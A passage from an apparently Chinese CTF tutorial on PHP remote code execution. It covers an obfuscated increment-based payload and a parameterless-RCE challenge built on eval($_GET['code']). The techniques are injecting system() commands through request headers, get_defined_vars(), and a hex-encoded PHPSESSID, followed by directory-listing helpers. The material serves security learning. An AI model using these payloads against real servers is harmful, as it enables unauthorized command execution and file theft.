style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<h1 id=\"无参数rce\"><a class=\"anchor\" href=\"#无参数rce\">#</a> 无参数RCE</h1>\n<p>题目如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">===</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">^\\W</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\(</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">(?R)?</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">code</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    eval</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">code</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>preg_replace('/[^\\W]+\\((?R)?\\)/','',$_GET['code'])</span></span></code></pre>\n<p>其中这段代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>正则表达式[^\\W]匹配字母数字下划线[A-Za-z0-9_]</span></span>\n<span class=\"line\"><span>[^\\W]+\\((?R)?\\)匹配到\"a()\"形式的字符串，但是()里面不能出现任何参数</span></span>\n<span class=\"line\"><span>(?R)代表递归，即a(b(c()))都能匹配</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">c</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">d</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY()</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">e</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY(2L47yY)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">^\\W</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\(</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">(?R)?</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">c</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">^\\W</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\(</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">(?R)?</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">d</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">f</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">^\\W</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\(</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">(?R)?</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">e</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">f</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/60.png\" class=\"\"></p>\n<p>可以看到这个匹配只把第二项替换为空，而题目的意思是如果被替换后的字符串只剩下分号，那么就放进去执行eval</p>\n<h2 id=\"请求头绕过\"><a class=\"anchor\" href=\"#请求头绕过\">#</a> 请求头绕过</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>getallheaders()：获取所有HTTP请求标头</span></span>\n<span class=\"line\"><span>pos()：获取数组第一项的值</span></span>\n<span class=\"line\"><span>end()：获取数组最后一项的值</span></span></code></pre>\n<p>但是我们需要用print_r打印结果</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/61.png\" class=\"\"></p>\n<p>使用view-source查看就是这样：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/62.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/63.png\" class=\"\"></p>\n<p>调用pos()函数获取getallheaders()返回数组的第一项内容，得到的却是Connection里面的内容，这里就是无参数RCE漏洞的利用地方了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Connection: system(\"sort flag.txt\");</span></span>\n<span class=\"line\"><span>//通过这样修改可以将最后的code变为：</span></span>\n<span class=\"line\"><span>code=print_r(system(\"sort flag.txt\"););</span></span>\n<span class=\"line\"><span>//如果我们将pirnt_r换成eval，那么就可以执行命令：</span></span>\n<span class=\"line\"><span>code=eval(system(\"sort flag.txt\"););</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/64.png\" class=\"\"></p>\n<p>除了修改Header，还可以添加Header：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/65.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>apache_request_headers()功能与getallheaders()相似，适用于Apache服务器</span></span></code></pre>\n<h2 id=\"全局变量php57\"><a class=\"anchor\" href=\"#全局变量php57\">#</a> 全局变量(php5/7)</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>get_defined_vars()：返回所有已定义变量的值所组成的数组</span></span>\n<span class=\"line\"><span>返回数组顺序为GET->POST->COOKIE->FILES</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/66.png\" class=\"\"></p>\n<p>之后我们可以通过添加传参数量来增加变量键值对</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/67.png\" class=\"\"></p>\n<p>其实从前两张图不难看出结果是两个数组嵌套，上一张图片我采用了pos获取了数组中的第一个数组，现在我还想要获取这个数组中的最后一项的值，可以采用调用end函数：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/68.png\" class=\"\"></p>\n<p>那么和请求头绕过一样，我们可以将print_r改为eval就可以了：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/69.png\" class=\"\"></p>\n<h2 id=\"session\"><a class=\"anchor\" href=\"#session\">#</a> session</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>session_start()：启动新会话或者重用现有会话，成功开始会话会返回TRUE，反之返回FALSE</span></span>\n<span class=\"line\"><span>session_id()：可以获取PHPSEEID的值</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/70.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/71.png\" class=\"\"></p>\n<p>这样我们是不是就可以通过burp修改PHPSESSID为执行命令的函数来实现RCE了：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/72.png\" class=\"\"></p>\n<p>貌似不行，不过修改为flag.txt倒是能按预期显示：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/73.png\" class=\"\"></p>\n<p>那就好办了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>show_source()：可以查看括号内文件名所含的文件内容</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/74.png\" class=\"\"></p>\n<p>不过如果想要执行eval的话也可以：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>需要先把命令HEX编码转为十六进制写入PHPSESSID，再用hex2bin函数将十六进制转为二进制，用eval执行</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/75.png\" class=\"\"></p>\n<p>其中PHPSESSID是system(&quot;sort flag.txt&quot;);的编码结果</p>\n<h2 id=\"scandir读取\"><a class=\"anchor\" href=\"#scandir读取\">#</a> scandir读取</h2>\n<h3 id=\"scandir\"><a class=\"anchor\" href=\"#scandir\">#</a> scandir()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>scandir()：类似ls，在某文件路径下，把内容以列表形式显示出来</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">scandir</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//scandir里面必须要有路径</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/76.png\" class=\"\"></p>\n<h3 id=\"getcwd\"><a class=\"anchor\" href=\"#getcwd\">#</a> getcwd()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>getcwd()：类似pwd，获取当前工作目录路径</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/77.png\" class=\"\"></p>\n<h3 id=\"current与next\"><a class=\"anchor\" href=\"#current与next\">#</a> current()与next()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>current()：返回数组的第一个内容，与pos()类似</span></span>\n<span class=\"line\"><span>next()：把数组中的第二个内容显示出来</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/78.png\" class=\"\"></p>\n<h3 id=\"array_reverse\"><a class=\"anchor\" href=\"#array_reverse\">#</a> array_reverse()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>array_reverse()：按照倒序重新排列数组</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/79.png\" class=\"\"></p>\n<h3 id=\"array_flip与array_rand\"><a class=\"anchor\" href=\"#array_flip与array_rand\">#</a> array_flip()与array_rand()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>array_flip()：将数组中的键名与值对换</span></span>\n<span class=\"line\"><span>array_rand()：从数组中随机取出一个或多个随机键</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/80.png\" class=\"\"></p>\n<p>每一次刷新界面都可能改变产生的随机值</p>\n<h3 id=\"chdir\"><a class=\"anchor\" href=\"#chdir\">#</a> chdir()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>chdir()：系统调用函数，同cd，用于改变当前工作目录</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/81.png\" class=\"\"></p>\n<p>如果是确定了路径返回为1，否则返回为0</p>\n<h3 id=\"strrev\"><a class=\"anchor\" href=\"#strrev\">#</a> strrev()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>strrev()：用于反转给定的字符串</span></span></code></pre>\n<h3 id=\"crypt\"><a class=\"anchor\" href=\"#crypt\">#</a> crypt()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>crypt()：用于加密，目前Linux平台上的加密方法大致有MD5,DES,3 DES</span></span></code></pre>\n<h3 id=\"hebrevc\"><a class=\"anchor\" href=\"#hebrevc\">#</a> hebrevc()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>hebrevc()：把希伯来文本从右至左的流转换为从左至右的流</span></span></code></pre>\n<h3 id=\"localeconv\"><a class=\"anchor\" href=\"#localeconv\">#</a> localeconv()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>localeconv()：查看当前目录名</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/82.png\" class=\"\"></p>\n<p>这个数组的第一个键值对的值为一个点<code>.</code>，可以用current()获得，配合上scandir()就可以查看当前目录下的所有文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span 